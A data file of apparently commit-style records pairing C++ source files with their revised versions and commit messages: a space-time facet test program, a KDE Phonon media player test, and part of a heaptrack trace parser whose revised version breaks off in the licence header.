{"text":"#include \n#include \n#include \n#include \n#include \nusing namespace std;\n\nconst int element_shape_x = 5;\nconst int element_shape_y = 6;\n\nconst int mpi_shape_x = 4;\nconst int mpi_shape_y = 3;\n\nconst int shape_x = element_shape_x * mpi_shape_x;\nconst int shape_y = element_shape_y * mpi_shape_y;\nconst int shape_t = 30;\n\nint wrap_x(const int x) {\n return (x+shape_x)%shape_x;\n}\nint wrap_y(const int y) {\n return (y+shape_y)%shape_y;\n}\nint irand(const int hi) {\n return floor(rand()\/double(RAND_MAX)*hi);\n}\nenum Direction{\n TP,\n XP,\n XM,\n YP,\n YM\n};\n\n\nstruct Region{\n int t,x,y;\n Region(int t,int x,int y) : t(t), x(wrap_x(x)), y(wrap_y(y)) {}\n\n bool operator==(const Region &other) {\n return other.t==t && other.x==x && other.y==y;\n }\n bool operator!=(const Region &other) {\n return !(*this == other);\n }\n bool operator<(const Region &other) {\n return t prev_facets(const Region &r) {\n vector ret(1, Facet(TP, r.t-1, r.x, r.y));\n if (r.t%2 != r.x%2) {\n ret.push_back( Facet(XP, r.t, r.x-1, r.y) );\n ret.push_back( Facet(XM, r.t, r.x+1, r.y) );\n }\n if (r.t%2 != r.y%2) {\n ret.push_back( Facet(YP, r.t, r.x, r.y-1) );\n ret.push_back( Facet(YM, r.t, r.x, r.y+1) );\n }\n return ret;\n}\nvector next_facets(const Region &r) {\n vector ret(1, Facet(TP, r.t, r.x, r.y));\n if (r.t%2 == r.x%2) {\n ret.push_back( Facet(XP, r.t, r.x, r.y) );\n ret.push_back( Facet(XM, r.t, r.x, r.y) );\n }\n if (r.t%2 == r.y%2) {\n ret.push_back( Facet(YP, r.t, r.x, r.y) );\n ret.push_back( Facet(YM, r.t, r.x, r.y) );\n }\n return ret;\n}\n\nint rank_assingment(const Region &r) {\n int rx = r.x \/ element_shape_x;\n int ry = r.y \/ element_shape_y;\n return ry * mpi_shape_x + rx;\n}\n\n\nint main(){\n cout << \"ping\" << endl;\n cout << \"pong\" << endl;\n\n cout << sizeof(Region) << endl;\n cout << sizeof(Facet) << endl;\n\n for(int i=0;i<1000000; ++i) {\n Region r = random_region();\n vector fs = next_facets(r);\n for (int j=0; j< fs.size(); ++j) {\n Facet &f=fs[j];\n if(prev_region(f) != r) {\n cout << \"wrong facet \" << endl;\n cout << r << endl;\n }\n }\n }\n\n\n for(int i=0;i<1000000; ++i) {\n Region r = random_region();\n vector fs = prev_facets(r);\n for (int j=0; j< fs.size(); ++j) {\n Facet &f=fs[j];\n if(next_region(f) != r) {\n cout << \"wrong facet \" << endl;\n cout << r << endl;\n cout << next_region(f) << endl;\n return -1;\n }\n }\n }\n\n {\n map ctr;\n for(int j=0;j::iterator it=ctr.begin(); it!=ctr.end();++it) {\n cout << it->first << \" \" << it->second << endl;\n }\n\n }\n return 0;\n}\nimplemented tests.#include \n#include \n#include \n#include \n#include \n#include \nusing namespace std;\n\nconst int element_shape_x = 5;\nconst int element_shape_y = 6;\n\nconst int mpi_shape_x = 4;\nconst int mpi_shape_y = 3;\n\nconst int shape_x = element_shape_x * mpi_shape_x;\nconst int shape_y = element_shape_y * mpi_shape_y;\nconst int shape_t = 30;\n\nint wrap_x(const int x) {\n return (x+shape_x)%shape_x;\n}\nint wrap_y(const int y) {\n return (y+shape_y)%shape_y;\n}\nint irand(const int hi) {\n return floor(rand()\/double(RAND_MAX)*hi);\n}\nenum Direction{\n TP,\n XP,\n XM,\n YP,\n YM\n};\n\n\nstruct Region{\n int t,x,y;\n Region(int t,int x,int y) : t(t), x(wrap_x(x)), y(wrap_y(y)) {}\n\n bool operator==(const Region &other) {\n return other.t==t && other.x==x && other.y==y;\n }\n bool operator!=(const Region &other) {\n return !(*this == other);\n }\n bool operator<(const Region &other) {\n return t prev_facets(const Region &r) {\n vector ret;\n if (r.t < shape_t) ret.push_back(Facet(TP, r.t - 1, r.x, r.y));\n if (r.t%2 != r.x%2) {\n ret.push_back( Facet(XP, r.t, r.x-1, r.y) );\n ret.push_back( Facet(XM, r.t, r.x+1, r.y) );\n }\n if (r.t%2 != r.y%2) {\n ret.push_back( Facet(YP, r.t, r.x, r.y-1) );\n ret.push_back( Facet(YM, r.t, r.x, r.y+1) );\n }\n return ret;\n}\nvector next_facets(const Region &r) {\n vector ret;\n if (r.t < shape_t -1) ret.push_back(Facet(TP, r.t, r.x, r.y));\n if (r.t%2 == r.x%2) {\n ret.push_back( Facet(XP, r.t, r.x, r.y) );\n ret.push_back( Facet(XM, r.t, r.x, r.y) );\n }\n if (r.t%2 == r.y%2) {\n ret.push_back( Facet(YP, r.t, r.x, r.y) );\n ret.push_back( Facet(YM, r.t, r.x, r.y) );\n }\n return ret;\n}\n\nint rank_assingment(const Region &r) {\n int rx = r.x \/ element_shape_x;\n int ry = r.y \/ element_shape_y;\n return ry * mpi_shape_x + rx;\n}\n\n\nint test(){\n cout << \"ping\" << endl;\n cout << \"pong\" << endl;\n\n cout << sizeof(Region) << endl;\n cout << sizeof(Facet) << endl;\n\n for(int i=0;i<1000000; ++i) {\n Region r = random_region();\n vector fs = next_facets(r);\n for (int j=0; j< fs.size(); ++j) {\n Facet &f=fs[j];\n if(prev_region(f) != r) {\n cout << \"wrong facet \" << endl;\n cout << r << endl;\n }\n }\n }\n\n\n for(int i=0;i<1000000; ++i) {\n Region r = random_region();\n vector fs = prev_facets(r);\n for (int j=0; j< fs.size(); ++j) {\n Facet &f=fs[j];\n if(next_region(f) != r) {\n cout << \"wrong facet \" << endl;\n cout << r << endl;\n cout << next_region(f) << endl;\n return -1;\n }\n }\n }\n\n {\n map ctr;\n for(int j=0;j::iterator it=ctr.begin(); it!=ctr.end();++it) {\n cout << it->first << \" \" << it->second << endl;\n }\n\n }\n return 0;\n}\n\nint main(){\n test();\n}\n<|endoftext|>"} {"text":"\/* This file is part of the KDE project\n Copyright (C) 2006-2007 Matthias Kretz \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License version 2\n as published by the Free Software Foundation.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n 02110-1301, USA.\n\n*\/\n\n#include \"mediacontrols.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\nusing Phonon::MediaObject;\nusing Phonon::MediaSource;\nusing Phonon::AudioOutput;\nusing Phonon::VideoWidget;\nusing Phonon::MediaControls;\nusing Phonon::Effect;\nusing Phonon::EffectWidget;\n\nclass MediaPlayer : public QMainWindow\n{\n Q_OBJECT\n public:\n MediaPlayer();\n void setUrl(const KUrl &url);\n\n private Q_SLOTS:\n void stateChanged(Phonon::State newstate);\n void workaroundQtBug();\n void getNextUrl();\n void startupReady();\n void openEffectWidget();\n void toggleScaleMode(bool);\n void switchAspectRatio(int x);\n void setBrightness(int b);\n\n private:\n bool setNextSource();\n\n QWidget *m_settingsWidget;\n Phonon::MediaObject *m_media;\n Phonon::Path m_apath;\n Phonon::AudioOutput *m_aoutput;\n Phonon::Path m_vpath;\n Phonon::Effect *m_effect;\n Phonon::VideoWidget *m_vwidget;\n Phonon::MediaControls *m_controls;\n Phonon::EffectWidget *m_effectWidget;\n QAction *m_fullScreenAction;\n};\n\nMediaPlayer::MediaPlayer()\n : QMainWindow(0), m_effectWidget(0)\n{\n QDockWidget *dock = new QDockWidget(this);\n dock->setAllowedAreas(Qt::BottomDockWidgetArea);\n\n m_settingsWidget = new QWidget(dock);\n dock->setWidget(m_settingsWidget);\n addDockWidget(Qt::BottomDockWidgetArea, dock);\n\n QVBoxLayout *layout = new QVBoxLayout(m_settingsWidget);\n\n m_vwidget = new VideoWidget(this);\n setCentralWidget(m_vwidget);\n\n m_fullScreenAction = new QAction(m_vwidget);\n m_fullScreenAction->setShortcut(Qt::Key_F);\n m_fullScreenAction->setCheckable(true);\n m_fullScreenAction->setChecked(false);\n this->addAction(m_fullScreenAction);\n connect(m_fullScreenAction, SIGNAL(toggled(bool)), m_vwidget, SLOT(setFullScreen(bool)));\n connect(m_fullScreenAction, SIGNAL(toggled(bool)), SLOT(workaroundQtBug()));\n\n m_aoutput = new AudioOutput(Phonon::VideoCategory, this);\n\n m_media = new MediaObject(this);\n connect(m_media, SIGNAL(finished()), SLOT(getNextUrl()));\n connect(m_media, SIGNAL(stateChanged(Phonon::State, Phonon::State)), SLOT(stateChanged(Phonon::State)));\n\n createPath(m_media, m_vwidget);\n m_apath = createPath(m_media, m_aoutput);\n\n m_controls = new MediaControls(m_settingsWidget);\n layout->addWidget(m_controls);\n m_controls->setMediaObject(m_media);\n m_controls->setAudioOutput(m_aoutput);\n m_controls->setMaximumHeight(28);\n\n \/*\n QList effectList = BackendCapabilities::availableAudioEffects();\n if (!effectList.isEmpty())\n {\n m_effect = new AudioEffect(BackendCapabilities::availableAudioEffects().first(), m_apath);\n m_apath->insertEffect(m_effect);\n QPushButton *button = new QPushButton(m_settingsWidget);\n layout->addWidget(button);\n button->setText(\"configure effect\");\n connect(button, SIGNAL(clicked()), SLOT(openEffectWidget()));\n }\n *\/\n\n QSlider *slider = new QSlider(m_settingsWidget);\n layout->addWidget(slider);\n slider->setOrientation(Qt::Horizontal);\n slider->setRange(-100, 100);\n slider->setValue(static_cast(m_vwidget->brightness() * 100));\n connect(slider, SIGNAL(valueChanged(int)), this, SLOT(setBrightness(int)));\n\n QCheckBox *scaleModeCheck = new QCheckBox(m_settingsWidget);\n layout->addWidget(scaleModeCheck);\n connect(scaleModeCheck, SIGNAL(toggled(bool)), SLOT(toggleScaleMode(bool)));\n\n QWidget *box = new QWidget(m_settingsWidget);\n layout->addWidget(box);\n\n QLabel *label = new QLabel(\"Aspect Ratio:\", box);\n label->setAlignment(Qt::AlignRight);\n QComboBox *aspectRatioCombo = new QComboBox(box);\n QHBoxLayout *hbox = new QHBoxLayout(box);\n hbox->addWidget(label);\n hbox->addWidget(aspectRatioCombo);\n label->setBuddy(aspectRatioCombo);\n\n connect(aspectRatioCombo, SIGNAL(currentIndexChanged(int)), SLOT(switchAspectRatio(int)));\n aspectRatioCombo->addItem(\"auto\");\n aspectRatioCombo->addItem(\"fit\");\n aspectRatioCombo->addItem(\"4:3\");\n aspectRatioCombo->addItem(\"16:9\");\n\n this->resize(width(), height() + 240 - m_vwidget->height());\n\n QTimer::singleShot(0, this, SLOT(startupReady()));\n}\n\nvoid MediaPlayer::stateChanged(Phonon::State newstate)\n{\n switch (newstate) {\n case Phonon::ErrorState:\n case Phonon::StoppedState:\n getNextUrl();\n break;\n default:\n break;\n }\n}\n\nvoid MediaPlayer::workaroundQtBug()\n{\n kDebug();\n if (m_vwidget->actions().contains(m_fullScreenAction)) {\n m_vwidget->removeAction(m_fullScreenAction);\n this->addAction(m_fullScreenAction);\n } else {\n this->removeAction(m_fullScreenAction);\n m_vwidget->addAction(m_fullScreenAction);\n }\n}\n\nbool MediaPlayer::setNextSource()\n{\n QWidget *extraWidget = new QWidget;\n QHBoxLayout *layout = new QHBoxLayout(extraWidget);\n layout->setMargin(0);\n layout->addStretch();\n QPushButton *dvdButton = new QPushButton(i18n(\"DVD\"), extraWidget);\n dvdButton->setCheckable(true);\n dvdButton->setChecked(false);\n layout->addWidget(dvdButton);\n QPushButton *cdButton = new QPushButton(i18n(\"Audio CD\"), extraWidget);\n cdButton->setCheckable(true);\n cdButton->setChecked(false);\n layout->addWidget(cdButton);\n KFileDialog dlg(KUrl(), QString(), 0, extraWidget);\n connect(dvdButton, SIGNAL(toggled(bool)), &dlg, SLOT(accept()));\n connect(cdButton, SIGNAL(toggled(bool)), &dlg, SLOT(accept()));\n dlg.setOperationMode(KFileDialog::Opening);\n dlg.setWindowTitle(i18n(\"Open\"));\n dlg.setMode(KFile::File);\n dlg.exec();\n KUrl url = dlg.selectedUrl();\n\n if (dvdButton->isChecked()) {\n if (url.isLocalFile()) {\n m_media->setCurrentSource(MediaSource(Phonon::Dvd, url.path()));\n } else {\n m_media->setCurrentSource(Phonon::Dvd);\n }\n } else if (cdButton->isChecked()) {\n m_media->setCurrentSource(Phonon::Cd);\n } else if (url.isValid()) {\n m_media->setCurrentSource(url);\n } else {\n QApplication::instance()->quit();\n return false;\n }\n return true;\n}\n\nvoid MediaPlayer::getNextUrl()\n{\n static bool fileDialogAlreadyOpen = false;\n if (fileDialogAlreadyOpen) {\n return;\n }\n fileDialogAlreadyOpen = true;\n if (!setNextSource()) {\n return;\n }\n m_media->play();\n fileDialogAlreadyOpen = false;\n}\n\nvoid MediaPlayer::startupReady()\n{\n if (m_media->currentSource().type() == MediaSource::Invalid) {\n if (!setNextSource()) {\n return;\n }\n }\n m_media->play();\n}\n\nvoid MediaPlayer::setBrightness(int b)\n{\n m_vwidget->setBrightness(b * 0.01);\n}\n\nvoid MediaPlayer::switchAspectRatio(int x)\n{\n m_vwidget->setAspectRatio(static_cast(x));\n}\n\nvoid MediaPlayer::toggleScaleMode(bool mode)\n{\n if (mode) {\n m_vwidget->setScaleMode(VideoWidget::ScaleAndCrop);\n } else {\n m_vwidget->setScaleMode(VideoWidget::FitInView);\n }\n}\n\nvoid MediaPlayer::openEffectWidget()\n{\n if (!m_effectWidget)\n m_effectWidget = new EffectWidget(m_effect);\n m_effectWidget->show();\n m_effectWidget->raise();\n}\n\nvoid MediaPlayer::setUrl(const KUrl &url)\n{\n m_media->setCurrentSource(url);\n \/\/m_vwidget->setVisible(m_media->hasVideo());\n}\n\nint main(int argc, char ** argv)\n{\n KAboutData about(\"phononmediaplayer\", 0, ki18n(\"Phonon Media Player\"),\n \"0.1\", ki18n(\"Media Player\"),\n KAboutData::License_GPL);\n about.addAuthor(ki18n(\"Matthias Kretz\"), KLocalizedString(), \"kretz@kde.org\");\n\n KCmdLineArgs::init(argc, argv, &about);\n KCmdLineOptions options;\n options.add(\"+[url]\", ki18n(\"File to play\"));\n KCmdLineArgs::addCmdLineOptions( options );\n\n KApplication app;\n MediaPlayer foo;\n foo.setWindowIcon(KIcon(\"phonon\"));\n foo.show();\n\n KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n if (args->count() == 1) {\n KUrl url = args->url(0);\n if (url.isValid()) {\n foo.setUrl(url);\n }\n }\n args->clear();\n return app.exec();\n}\n\n#include \"mediaplayer.moc\"\n#include \"mediacontrols.cpp\"\n#include \"moc_mediacontrols.cpp\"\nFixed test - had to create dummy QString and KUrl objects to pass to the KFileDialog constructor as file wouldn't compile otherwise.\/* This file is part of the KDE project\n Copyright (C) 2006-2007 Matthias Kretz \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License version 2\n as published by the Free Software Foundation.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n 02110-1301, USA.\n\n*\/\n\n#include \"mediacontrols.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\nusing Phonon::MediaObject;\nusing Phonon::MediaSource;\nusing Phonon::AudioOutput;\nusing Phonon::VideoWidget;\nusing Phonon::MediaControls;\nusing Phonon::Effect;\nusing Phonon::EffectWidget;\n\nclass MediaPlayer : public QMainWindow\n{\n Q_OBJECT\n public:\n MediaPlayer();\n void setUrl(const KUrl &url);\n\n private Q_SLOTS:\n void stateChanged(Phonon::State newstate);\n void workaroundQtBug();\n void getNextUrl();\n void startupReady();\n void openEffectWidget();\n void toggleScaleMode(bool);\n void switchAspectRatio(int x);\n void setBrightness(int b);\n\n private:\n bool setNextSource();\n\n QWidget *m_settingsWidget;\n Phonon::MediaObject *m_media;\n Phonon::Path m_apath;\n Phonon::AudioOutput *m_aoutput;\n Phonon::Path m_vpath;\n Phonon::Effect *m_effect;\n Phonon::VideoWidget *m_vwidget;\n Phonon::MediaControls *m_controls;\n Phonon::EffectWidget *m_effectWidget;\n QAction *m_fullScreenAction;\n};\n\nMediaPlayer::MediaPlayer()\n : QMainWindow(0), m_effectWidget(0)\n{\n QDockWidget *dock = new QDockWidget(this);\n dock->setAllowedAreas(Qt::BottomDockWidgetArea);\n\n m_settingsWidget = new QWidget(dock);\n dock->setWidget(m_settingsWidget);\n addDockWidget(Qt::BottomDockWidgetArea, dock);\n\n QVBoxLayout *layout = new QVBoxLayout(m_settingsWidget);\n\n m_vwidget = new VideoWidget(this);\n setCentralWidget(m_vwidget);\n\n m_fullScreenAction = new QAction(m_vwidget);\n m_fullScreenAction->setShortcut(Qt::Key_F);\n m_fullScreenAction->setCheckable(true);\n m_fullScreenAction->setChecked(false);\n this->addAction(m_fullScreenAction);\n connect(m_fullScreenAction, SIGNAL(toggled(bool)), m_vwidget, SLOT(setFullScreen(bool)));\n connect(m_fullScreenAction, SIGNAL(toggled(bool)), SLOT(workaroundQtBug()));\n\n m_aoutput = new AudioOutput(Phonon::VideoCategory, this);\n\n m_media = new MediaObject(this);\n connect(m_media, SIGNAL(finished()), SLOT(getNextUrl()));\n connect(m_media, SIGNAL(stateChanged(Phonon::State, Phonon::State)), SLOT(stateChanged(Phonon::State)));\n\n createPath(m_media, m_vwidget);\n m_apath = createPath(m_media, m_aoutput);\n\n m_controls = new MediaControls(m_settingsWidget);\n layout->addWidget(m_controls);\n m_controls->setMediaObject(m_media);\n m_controls->setAudioOutput(m_aoutput);\n m_controls->setMaximumHeight(28);\n\n \/*\n QList effectList = BackendCapabilities::availableAudioEffects();\n if (!effectList.isEmpty())\n {\n m_effect = new AudioEffect(BackendCapabilities::availableAudioEffects().first(), m_apath);\n m_apath->insertEffect(m_effect);\n QPushButton *button = new QPushButton(m_settingsWidget);\n layout->addWidget(button);\n button->setText(\"configure effect\");\n connect(button, SIGNAL(clicked()), SLOT(openEffectWidget()));\n }\n *\/\n\n QSlider *slider = new QSlider(m_settingsWidget);\n layout->addWidget(slider);\n slider->setOrientation(Qt::Horizontal);\n slider->setRange(-100, 100);\n slider->setValue(static_cast(m_vwidget->brightness() * 100));\n connect(slider, SIGNAL(valueChanged(int)), this, SLOT(setBrightness(int)));\n\n QCheckBox *scaleModeCheck = new QCheckBox(m_settingsWidget);\n layout->addWidget(scaleModeCheck);\n connect(scaleModeCheck, SIGNAL(toggled(bool)), SLOT(toggleScaleMode(bool)));\n\n QWidget *box = new QWidget(m_settingsWidget);\n layout->addWidget(box);\n\n QLabel *label = new QLabel(\"Aspect Ratio:\", box);\n label->setAlignment(Qt::AlignRight);\n QComboBox *aspectRatioCombo = new QComboBox(box);\n QHBoxLayout *hbox = new QHBoxLayout(box);\n hbox->addWidget(label);\n hbox->addWidget(aspectRatioCombo);\n label->setBuddy(aspectRatioCombo);\n\n connect(aspectRatioCombo, SIGNAL(currentIndexChanged(int)), SLOT(switchAspectRatio(int)));\n aspectRatioCombo->addItem(\"auto\");\n aspectRatioCombo->addItem(\"fit\");\n aspectRatioCombo->addItem(\"4:3\");\n aspectRatioCombo->addItem(\"16:9\");\n\n this->resize(width(), height() + 240 - m_vwidget->height());\n\n QTimer::singleShot(0, this, SLOT(startupReady()));\n}\n\nvoid MediaPlayer::stateChanged(Phonon::State newstate)\n{\n switch (newstate) {\n case Phonon::ErrorState:\n case Phonon::StoppedState:\n getNextUrl();\n break;\n default:\n break;\n }\n}\n\nvoid MediaPlayer::workaroundQtBug()\n{\n kDebug();\n if (m_vwidget->actions().contains(m_fullScreenAction)) {\n m_vwidget->removeAction(m_fullScreenAction);\n this->addAction(m_fullScreenAction);\n } else {\n this->removeAction(m_fullScreenAction);\n m_vwidget->addAction(m_fullScreenAction);\n }\n}\n\nbool MediaPlayer::setNextSource()\n{\n QWidget *extraWidget = new QWidget;\n QHBoxLayout *layout = new QHBoxLayout(extraWidget);\n layout->setMargin(0);\n layout->addStretch();\n QPushButton *dvdButton = new QPushButton(i18n(\"DVD\"), extraWidget);\n dvdButton->setCheckable(true);\n dvdButton->setChecked(false);\n layout->addWidget(dvdButton);\n QPushButton *cdButton = new QPushButton(i18n(\"Audio CD\"), extraWidget);\n cdButton->setCheckable(true);\n cdButton->setChecked(false);\n layout->addWidget(cdButton);\n const QString dummyString;\n const KUrl dummyUrl;\n KFileDialog dlg(dummyUrl, dummyString, 0, extraWidget);\n connect(dvdButton, SIGNAL(toggled(bool)), &dlg, SLOT(accept()));\n connect(cdButton, SIGNAL(toggled(bool)), &dlg, SLOT(accept()));\n dlg.setOperationMode(KFileDialog::Opening);\n dlg.setWindowTitle(i18n(\"Open\"));\n dlg.setMode(KFile::File);\n dlg.exec();\n KUrl url = dlg.selectedUrl();\n\n if (dvdButton->isChecked()) {\n if (url.isLocalFile()) {\n m_media->setCurrentSource(MediaSource(Phonon::Dvd, url.path()));\n } else {\n m_media->setCurrentSource(Phonon::Dvd);\n }\n } else if (cdButton->isChecked()) {\n m_media->setCurrentSource(Phonon::Cd);\n } else if (url.isValid()) {\n m_media->setCurrentSource(url);\n } else {\n QApplication::instance()->quit();\n return false;\n }\n return true;\n}\n\nvoid MediaPlayer::getNextUrl()\n{\n static bool fileDialogAlreadyOpen = false;\n if (fileDialogAlreadyOpen) {\n return;\n }\n fileDialogAlreadyOpen = true;\n if (!setNextSource()) {\n return;\n }\n m_media->play();\n fileDialogAlreadyOpen = false;\n}\n\nvoid MediaPlayer::startupReady()\n{\n if (m_media->currentSource().type() == MediaSource::Invalid) {\n if (!setNextSource()) {\n return;\n }\n }\n m_media->play();\n}\n\nvoid MediaPlayer::setBrightness(int b)\n{\n m_vwidget->setBrightness(b * 0.01);\n}\n\nvoid MediaPlayer::switchAspectRatio(int x)\n{\n m_vwidget->setAspectRatio(static_cast(x));\n}\n\nvoid MediaPlayer::toggleScaleMode(bool mode)\n{\n if (mode) {\n m_vwidget->setScaleMode(VideoWidget::ScaleAndCrop);\n } else {\n m_vwidget->setScaleMode(VideoWidget::FitInView);\n }\n}\n\nvoid MediaPlayer::openEffectWidget()\n{\n if (!m_effectWidget)\n m_effectWidget = new EffectWidget(m_effect);\n m_effectWidget->show();\n m_effectWidget->raise();\n}\n\nvoid MediaPlayer::setUrl(const KUrl &url)\n{\n m_media->setCurrentSource(url);\n \/\/m_vwidget->setVisible(m_media->hasVideo());\n}\n\nint main(int argc, char ** argv)\n{\n KAboutData about(\"phononmediaplayer\", 0, ki18n(\"Phonon Media Player\"),\n \"0.1\", ki18n(\"Media Player\"),\n KAboutData::License_GPL);\n about.addAuthor(ki18n(\"Matthias Kretz\"), KLocalizedString(), \"kretz@kde.org\");\n\n KCmdLineArgs::init(argc, argv, &about);\n KCmdLineOptions options;\n options.add(\"+[url]\", ki18n(\"File to play\"));\n KCmdLineArgs::addCmdLineOptions( options );\n\n KApplication app;\n MediaPlayer foo;\n foo.setWindowIcon(KIcon(\"phonon\"));\n foo.show();\n\n KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n if (args->count() == 1) {\n KUrl url = args->url(0);\n if (url.isValid()) {\n foo.setUrl(url);\n }\n }\n args->clear();\n return app.exec();\n}\n\n#include \"mediaplayer.moc\"\n#include \"mediacontrols.cpp\"\n#include \"moc_mediacontrols.cpp\"\n<|endoftext|>"} {"text":"\/*\n * Copyright 2015 Milian Wolff \n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Library General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public\n * License along with this program; if not, write to the\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"parser.h\"\n\n#include \n#include \n#include \n\n#include \n#include \n\n#include \"..\/accumulatedtracedata.h\"\n\n#include \n\nusing namespace std;\n\nnamespace {\nstruct ParserData final : public AccumulatedTraceData\n{\n ParserData()\n {\n chartData.push_back({0, 0, 0, 0});\n }\n\n void handleTimeStamp(uint64_t \/*newStamp*\/, uint64_t oldStamp)\n {\n maxLeakedSinceLastTimeStamp = max(maxLeakedSinceLastTimeStamp, leaked);\n chartData.push_back({oldStamp, maxLeakedSinceLastTimeStamp, totalAllocations, totalAllocated});\n maxLeakedSinceLastTimeStamp = 0;\n }\n\n void handleAllocation()\n {\n maxLeakedSinceLastTimeStamp = max(maxLeakedSinceLastTimeStamp, leaked);\n }\n\n void handleDebuggee(const char* command)\n {\n debuggee = command;\n }\n\n string debuggee;\n\n ChartData chartData;\n uint64_t maxLeakedSinceLastTimeStamp = 0;\n};\n\nQString generateSummary(const ParserData& data)\n{\n QString ret;\n KFormat format;\n QTextStream stream(&ret);\n const double totalTimeS = 0.001 * data.totalTime;\n stream << \"\"\n << i18n(\"debuggee<\/strong>: %1<\/code>\", QString::fromStdString(data.debuggee)) << \"\"\n \/\/ xgettext:no-c-format\n << i18n(\"total runtime<\/strong>: %1s\", totalTimeS) << \"\"\n << i18n(\"bytes allocated in total<\/strong> (ignoring deallocations): %1 (%2\/s)\",\n format.formatByteSize(data.totalAllocated, 2), format.formatByteSize(data.totalAllocated \/ totalTimeS)) << \"\"\n << i18n(\"calls to allocation functions<\/strong>: %1 (%2\/s)\",\n data.totalAllocations, quint64(data.totalAllocations \/ totalTimeS)) << \"\"\n << i18n(\"peak heap memory consumption<\/strong>: %1\", format.formatByteSize(data.peak)) << \"\"\n << i18n(\"total memory leaked<\/strong>: %1\", format.formatByteSize(data.leaked)) << \"\";\n stream << \"<\/qt>\";\n return ret;\n}\n\nstruct StringCache\n{\n StringCache(const AccumulatedTraceData& data)\n {\n m_strings.resize(data.strings.size());\n transform(data.strings.begin(), data.strings.end(),\n m_strings.begin(), [] (const string& str) { return QString::fromStdString(str); });\n }\n\n QString func(const InstructionPointer& ip) const\n {\n if (ip.functionIndex) {\n \/\/ TODO: support removal of template arguments\n return stringify(ip.functionIndex);\n } else {\n return static_cast(QLatin1String(\"0x\") + QString::number(ip.instructionPointer, 16));\n }\n }\n\n QString file(const InstructionPointer& ip) const\n {\n if (ip.fileIndex) {\n return stringify(ip.fileIndex);\n } else {\n return {};\n }\n }\n\n QString module(const InstructionPointer& ip) const\n {\n return stringify(ip.moduleIndex);\n }\n\n QString stringify(const StringIndex index) const\n {\n if (!index || index.index > m_strings.size()) {\n return {};\n } else {\n return m_strings.at(index.index - 1);\n }\n }\n\n LocationData location(const InstructionPointer& ip) const\n {\n return {func(ip), file(ip), module(ip), ip.line};\n }\n\n vector m_strings;\n};\n\nvoid setParents(QVector& children, const RowData* parent)\n{\n for (auto& row: children) {\n row.parent = parent;\n setParents(row.children, &row);\n }\n}\n\nQVector mergeAllocations(const AccumulatedTraceData& data)\n{\n QVector topRows;\n StringCache strings(data);\n \/\/ merge allocations, leave parent pointers invalid (their location may change)\n for (const auto& allocation : data.allocations) {\n auto traceIndex = allocation.traceIndex;\n auto rows = &topRows;\n while (traceIndex) {\n const auto& trace = data.findTrace(traceIndex);\n const auto& ip = data.findIp(trace.ipIndex);\n \/\/ TODO: only store the IpIndex and use that\n auto location = strings.location(ip);\n auto it = lower_bound(rows->begin(), rows->end(), location);\n if (it != rows->end() && it->location == location) {\n it->allocated += allocation.allocated;\n it->allocations += allocation.allocations;\n it->leaked += allocation.leaked;\n it->peak = max(it->peak, static_cast(allocation.peak));\n } else {\n it = rows->insert(it, {allocation.allocations, allocation.peak, allocation.leaked, allocation.allocated,\n location, nullptr, {}});\n }\n traceIndex = trace.parentIndex;\n rows = &it->children;\n }\n }\n \/\/ now set the parents, the data is constant from here on\n setParents(topRows, nullptr);\n return topRows;\n}\n}\n\nParser::Parser(QObject* parent)\n : QObject(parent)\n{}\n\nParser::~Parser() = default;\n\nstatic void buildFrameGraph(const QVector& mergedAllocations, FlameGraphData::Stack* topStack)\n{\n foreach (const auto& row, mergedAllocations) {\n if (row.children.isEmpty()) {\n \/\/ leaf node found, bubble up the parent chain to build a top-down tree\n auto node = &row;\n auto stack = topStack;\n while (node) {\n auto& data = (*stack)[node->location.function];\n \/\/ always use the leaf node's cost and propagate that one up the chain\n \/\/ otherwise we'd count the cost of some nodes multiple times\n data.cost += row.allocations;\n stack = &data.children;\n node = node->parent;\n }\n } else {\n \/\/ recurse to find a leaf\n buildFrameGraph(row.children, topStack);\n }\n }\n}\n\nvoid Parser::parse(const QString& path)\n{\n using namespace ThreadWeaver;\n stream() << make_job([=]() {\n ParserData data;\n data.read(path.toStdString());\n emit summaryAvailable(generateSummary(data));\n const auto mergedAllocations = mergeAllocations(data);\n emit bottomUpDataAvailable(mergedAllocations);\n emit chartDataAvailable(data.chartData);\n FlameGraphData::Stack stack;\n buildFrameGraph(mergedAllocations, &stack);\n emit flameGraphDataAvailable({stack});\n emit finished();\n });\n}\nExclude stop indices from GUI backtraces.\/*\n * Copyright 2015 Milian Wolff \n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Library General Public License as\n * published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but 